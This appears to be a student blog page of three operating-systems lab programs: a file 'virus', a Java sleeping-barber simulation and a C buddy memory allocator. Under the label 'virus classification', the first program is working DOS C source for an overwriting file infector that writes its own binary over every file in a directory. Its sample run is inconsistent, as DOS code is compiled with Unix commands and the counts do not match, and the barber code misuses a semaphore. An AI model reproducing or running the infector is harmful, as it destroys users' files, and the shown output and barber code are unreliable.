Showing posts with label AOS. Show all posts
Showing posts with label AOS. Show all posts

Sunday 17 July 2016

Program 5: Virus classification

MTech Advanced Operating Systems Lab(14SCS16) (1st sem)

Design and develop a program to realize the virus classification, such as boot sector infector, file infector and macro virus.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus, *host;
int done, a = 0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t  st, end;
void main()
{
            st = clock();
            clrscr();
            done = findfirst("*.*", &ffblk, 0);
            while(!done)
            {
                        virus = fopen(_argv[0], "rb");
                        host = fopen(ffblk.ff_name, "rb+");
                        if(host == NULL)
                                    goto next;
                        x = 89088;
                        printf("Infecting %s\n", ffblk.ff_name, a);
                        while(x>2048)
                        {
                                    fread(buff, 2048, 1, virus);
                                    fwrite(buff, 2048, 1, host);
                                    x -= 2048;
                        }
                        fread(buff, x, 1, virus);
                        fwrite(buff, x, 1, host);
                        a++;
                        next:
                        {
                                    fcloseall();
                                    done = findnext(&ffblk);
                        }
            }
            printf("DONE! (Total Files Infected = %d)", a);
            end = clock();
            printf("TIME TAKEN = %f SEC\n", (end-st)/CLK_TCK);
            getch();
}


Output:
vi virus.c
cc virus.c
./a.out

Infecting a1.txt
Infecting a1451.txt
DONE! (Total Files Infected = 1451)
TIME TAKEN = 5.054945 SEC

Program 3: simulate multiple sleeping barbers

MTech Advanced Operating Systems Lab(14SCS16) (1st sem)

Write a multi-class multithreaded program that simulates multiple sleeping barbers, all in one barbershop that has a finite number of chairs in the waiting room. Each customer is instantiated from a single customer class; each barber is instantiated from a single Barber class.

import java.util.concurrent.*;

public class SleepingBarber extends Thread
{
            public static Semaphore customers = new Semaphore(0);     
            public static Semaphore barber = new Semaphore(0);
            public static Semaphore accessSeats = new Semaphore(1);

            /*  the number of chairs in this barbershop is 5. */
            public static final int CHAIRS = 5;
            public static int numberOfFreeSeats = CHAIRS;

            /* THE CUSTOMER THREAD */

            class Customer extends Thread
            {
                        int iD;
                        boolean notCut = true;

                        /* Constructor for the Customer */
                        public Customer(int i)
                        {
                                    iD = i;
                        }

                        public void run()
                        {  
                               while (notCut)
                              {
                                    // as long as the customer is not cut
                                    try
                                    {
                                                accessSeats.acquire(); 
                                                if (numberOfFreeSeats > 0)
                                                {
                                                            System.out.println("Customer "+this.iD+" just sat down.");
                                                            numberOfFreeSeats--;  //sitting down on a chair
                                             customers.release();  //notify the barber that there is a customer
                                              accessSeats.release();  // don't need to lock the chairs anymore 
                                                           
                                                            try
                                                            {
                                                                        barber.acquire();                       
                                                                        notCut = false;
                                                                        this.get_haircut();  //cutting...
                                                            }
                                                            catch (InterruptedException ex) {}
                                                }  
                                                else
                                                {         
                                                            // there are no free seats
                                                       System.out.println("There are no free seats. Customer " + this.iD +                                                                                      " has left the barbershop.");
                                                           accessSeats.release();  //release the lock on the seats
                                                           notCut=false;
                                                }
                                    }
                                    catch (InterruptedException ex) {}
                            }   //while ends
                    }   // public void run() ends

                  /* this method will simulate getting a hair-cut */
 
                        public void get_haircut()
                        {
                                    System.out.println("Customer " + this.iD + " is getting his hair cut");
                                    try
                                    {
                                                sleep(5050);
                                    }
                                    catch (InterruptedException ex) {}
                        }
            } //customer class ends here

     

            /* THE BARBER THREAD */
           
            class Barber extends Thread
            {
                        public Barber() {}
                        public void run()
                        {
                                    while(true)
                                    {  // runs in an infinite loop
                                                try
                                                {
                                                            customers.acquire(); //tries to acquire a customer, if none                                                                                                   available, he  goes to sleep
                                                            accessSeats.release(); // at this time he has been woken up
                                                            numberOfFreeSeats++; // one chair gets free
                                                            barber.release();           // the barber is ready to cut
                                                            accessSeats.release(); // no need of lock on the chairs anymore
                                                            this.cutHair();               //cutting...
                                                } catch (InterruptedException ex) {}
                                    }
                        }

                        /* this method will simulate cutting hair */
  
                        public void cutHair()
                        {
                                    System.out.println("The barber is cutting hair");
                                    try
                                    {
                                                sleep(5000);
                                    } catch (InterruptedException ex){ }
                        }
            }       //barber class ends here
 

             /* main method */
            public static void main(String args[])
            {
                        SleepingBarber barberShop = new SleepingBarber();  //Creates a new barbershop
                        barberShop.start();
            }

             public void run()
            {  
                        Barber b = new Barber(); 
                        b.start();  //Ready for another day of work

                        /* This method will create new customers for a while */
                        for (int i=1; i<16; i++)
                        {
                                    Customer aCustomer = new Customer(i);
                                    aCustomer.start();
                                    try
                                    {
                                                sleep(2000);
                                    }
                                    catch(InterruptedException ex) {};
                        }
            }
}// program ends here



Output:
ubuntu@ubuntu-VirtualBox:~/lab$ gedit SleepingBarber.java
ubuntu@ubuntu-VirtualBox:~/lab$ javac SleepingBarber.java
ubuntu@ubuntu-VirtualBox:~/lab$ java SleepingBarber
Customer 1 just sat down.
The barber is cutting hair
Customer 1 is getting his hair cut
Customer 2 just sat down.
Customer 3 just sat down.
Customer 2 is getting his hair cut
The barber is cutting hair
Customer 4 just sat down.
Customer 5 just sat down.
The barber is cutting hair
Customer 3 is getting his hair cut
Customer 6 just sat down.
Customer 7 just sat down.
Customer 8 just sat down.
Customer 4 is getting his hair cut
The barber is cutting hair
Customer 9 just sat down.
There are no free seats. Customer 10 has left the barbershop.
Customer 5 is getting his hair cut
The barber is cutting hair
Customer 11 just sat down.
There are no free seats. Customer 12 has left the barbershop.
There are no free seats. Customer 13 has left the barbershop.
Customer 6 is getting his hair cut
The barber is cutting hair
Customer 14 just sat down.
There are no free seats. Customer 15 has left the barbershop.
Customer 7 is getting his hair cut
The barber is cutting hair
Customer 8 is getting his hair cut
The barber is cutting hair
Customer 9 is getting his hair cut
The barber is cutting hair
Customer 11 is getting his hair cut
The barber is cutting hair
Customer 14 is getting his hair cut

The barber is cutting hair

Program 2: Lazy buddy system

MTech Advanced Operating Systems Lab (14SCS16)(1st sem)


Design and Develop a program to implement lazy buddy system algorithm.

#include<stdio.h>
#include<stdlib.h>
int tree[2050], i, j, k;
void segmentalloc(int, int), makedivided(int), makefree(int), printing(int, int);
int place(int), power(int, int);
int main()
{
            int totsize, ch, req;
            printf("BUDDY SYSTEM REQUIREMENTS");
            printf("\n Enter the Size of the memory  :  ");
            scanf("%d", &totsize);
           
            while(1)
            {
                        printf("\n B U D D Y   S Y S T E M ");
                        printf("\n 1)   Locate the process into the Memory");            
                        printf("\n 2)   Remove the process from Memory");  
                        printf("\n 3)  Tree structure for Memory allocation Map");
                        printf("\n 4)   Exit");
                        printf("\n Enter your choice  :  ");
                        scanf("%d", &ch);
                        switch(ch)
                        {
                                    case 1:
                                                printf("\n MEMORY ALLOCATION ");
                                                printf("\n Enter the Process size  : ");
                                                scanf("%d", &req);
                                                segmentalloc(totsize, req);
                                                break;
                                   
                                    case 2:
                                                printf("\n MEMORY DEALLOCATION ");
                                                printf("\n Enter the process size  :  ");
                                                scanf("%d", &req);         
                                                makefree(req);
                                                break;
                                case 3:
                                                printf("\n MEMORY ALLOCATION MAP");             
                                                printing(totsize, 0);
                                                break;
                                 default:   return;
                        }
            }
}
void segmentalloc(int totsize, int request)
{
            int flevel = 0, size;
            size = totsize;
            if(request > totsize)
            {
                        printf("%c  R E S U L T  :  ", 2);
                        printf("\n The system don't have enough free memory");
                        printf("\n Suggession  :  Go for VIRTUAL MEMORY");
                        return;
            }
            while(1)
            {
                        if(request < size && request > (size/2))
                                    break;
                        else
                        {
                                    size /= 2;
                                    flevel++;
                        }
            }         
            for(i = power(2, flevel) - 1;  i <= (power(2, flevel+1) - 2); i++)
                        if(tree[i] == 0 && place(i) )
                        {
                                    tree[i] = request;
                                    makedivided(i);
                                    printf("\n Result : Successful Allocation");
                                    break;
                        }
                        if(i == power(2, flevel+1) - 1)
                        {
                                    printf(" %c    Result  :  ", 2);
                                    printf("\n The system don't have enough free memory");
                                    printf("\n Suggession  :  Go for VIRTUAL Memory Mode");
                        }
}
void makedivided(int node)
{
            while(node != 0)
            {
                        node = (node%2 == 0) ? (node-1)/2 : node/2;
                        tree[node] = 1;
            }
}
int place(int node)
{
            while(node != 0)
            {
                        node = (node%2 == 0) ? (node-1)/2 : node/2;
                        if(tree[node] > 1)
                                    return 0;
            }
            return 1;
}
void makefree(int request)
{
            int node = 0;
            while(1)
            {
                        if(tree[node] == request)
                                    break;
                        else
                                    node++;
            }
            tree[node] = 0;
            while(node!=0)
            {
                        if( tree[node%2==0 ? node-1 : node+1] == 0 && tree[node] == 0)
                        {
                                    tree[node%2 == 0? (node-1)/2 : node/2] = 0;
                                    node = node%2 == 0 ? (node-1)/2 : node/2;
                        }
                        else
                                    break;
            }
}
int power(int x, int y)
{
            int z, ans;
            if(y == 0)
                        return 1;
            ans = x;
            for(z=1; z<y; z++)
                        ans *= x;
            return ans;
}
void printing(int totsize, int node)
{
            int permission = 0, llimit, ulimit, tab;
            if(node == 0)
                        permission = 1;
            else if(node%2 == 0)
                        permission = tree[(node-1)/2]==1 ? 1 : 0;
            else
                        permission = tree[node/2] == 1 ? 1 : 0;
            if(permission)
            {
                        llimit = ulimit = tab = 0;
                        while(1)
                        {
                                    if(node >= llimit && node <= ulimit)
                                                break;
                                    else
                                    {
                                                tab++;
                                                printf("       ");
                                                llimit = ulimit+1;
                                                ulimit = 2*ulimit+2;
                                    }
                        }
                        printf(" %d ", totsize/power(2, tab));
                        if(tree[node] > 1)
                                    printf("---> Allocated %d ", tree[node]);
                        else if(tree[node] == 1)
                                    printf("---> Divided");
                        else
                                    printf("---> Free");
                        printing(totsize, 2*node+1);
                        printing(totsize, 2*node+2);
            }
}


Output:
ubuntu@ubuntu-VirtualBox:~/lab$ gedit 2.c
ubuntu@ubuntu-VirtualBox:~/lab$ cc 2.c
ubuntu@ubuntu-VirtualBox:~/lab$ ./a.out
BUDDY SYSTEM REQUIREMENTS
Enter the Size of the memory  :  500
 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  1
 MEMORY ALLOCATION
 Enter the Process size  : 400
 Result : Successful Allocation
 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  3
MEMORY ALLOCATION MAP  500 ---> Allocated 400
B U D D Y   S Y S T E M
1)   Locate the process into the Memory
2)   Remove the process from Memory
3)  Tree structure for Memory allocation Map
4)   Exit
Enter your choice  :  2
MEMORY DEALLOCATION
Enter the process size  :  400

 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  : 
 4

Case 2:
BUDDY SYSTEM REQUIREMENTS
Enter the Size of the memory  :  500

 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  1
 
 MEMORY ALLOCATION
 Enter the Process size  : 600
 R E S U L T  : 
 The system don't have enough free memory
 Suggession  :  Go for VIRTUAL MEMORY

 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  : 


Case 3:
BUDDY SYSTEM REQUIREMENTS
Enter the Size of the memory  :  500

 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  1
 
 MEMORY ALLOCATION
 Enter the Process size  : 100
 Result : Successful Allocation
 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  3
 
 MEMORY ALLOCATIONMAP  500 ---> Divided        250 ---> Divided   
125 ---> Allocated 100                125 ---> Free        250 ---> Free
 B U D D Y   S Y S T E M
 1)   Locate the process into the Memory
 2)   Remove the process from Memory
 3)  Tree structure for Memory allocation Map
 4)   Exit
 Enter your choice  :  4